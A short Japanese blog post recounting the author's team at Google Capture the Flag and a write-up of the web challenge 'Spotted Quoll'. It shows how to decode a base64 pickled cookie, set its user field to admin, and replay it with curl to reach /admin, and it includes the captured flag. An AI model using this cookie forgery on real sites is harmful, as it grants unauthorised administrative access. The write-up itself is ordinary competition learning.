Google Capture the Flagに参加した
https://capturetheflag.withgoogle.com/rulesに参加しました。
チームはRoute9。順位は147位でした。(得点のあるチーム数が911/登録チームは2395)
しかし僕は1問しか解けず、しかもFlagのコミットしてないというなんとも悔しい感じに・・・。
子供の相手してると時間が足りないんだ!(言い訳)
Web 50points Spotted Quoll
サイトの/adminにアクセスする問題
サイトにアクセスした時点で変なクッキーがついてました
Cookie obsoletePickle=KGRwMQpTJ3B5dGhvbicKcDIKUydwaWNrbGVzJwpwMwpzUydzdWJ0bGUnCnA0ClMnaGludCcKcDUKc1MndXNlcicKcDYKTnMu
Base64デコードすると以下の文字列に
>>> import base64 >>> print base64.b64decode("KGRwMQpTJ3B5dGhvbicKcDIKUydwaWNrbGVzJwpwMwpzUydzdWJ0bGUnCnA0ClMnaGludCcKcDUKc1MndXNlcicKcDYKTnMu") (dp1 S'python' p2 S'pickles' p3 sS'subtle' p4 S'hint' p5 sS'user' p6 Ns.
python pickleで検索するとpythonのライブラリがひっかかりました。オブジェクトのシリアライズをしてくれるものらしく、RubyのMarshalみたいなものかなと。
先ほどの文字列をpickleでデシリアライズします。
(この時pickleをそのままimportすると、シリアライズ時の数字が0から始まってしまい期待通りにいきません)
>>> import cPickle pickle >>> pickle.loads(base64.b64decode("KGRwMQpTJ3B5dGhvbicKcDIKUydwaWNrbGVzJwpwMwpzUydzdWJ0bGUnCnA0ClMnaGludCcKcDUKc1MndXNlcicKcDYKTnMu")) {'python': 'pickles', 'subtle': 'hint', 'user': None}
userに入れてくださいと言わんばかり(笑)。
なのでuserにadminを入れてシリアライズし、実際に投げたところFlagが取れました。
>>> base64.b64encode(pickle.dumps(s)) 'KGRwMQpTJ3B5dGhvbicKcDIKUydwaWNrbGVzJwpwMwpzUydzdWJ0bGUnCnA0ClMnaGludCcKcDUKc1MndXNlcicKcDYKUydhZG1pbicKcDcKcy4=' $ curl -k https://spotted-quoll.ctfcompetition.com/admin -H "Cookie:obsoletePickle=KGRwMQpTJ3B5dGhvbicKcDIKUydwaWNrbGVzJwpwMwpzUydzdWJ0bGUnCnA0ClMnaGludCcKcDUKc1MndXNlcicKcDYKUydhZG1pbicKcDcKcy4=" Your flag is CTF{but_wait,theres_more.if_you_call} ... but is there more(1)? or less(1)?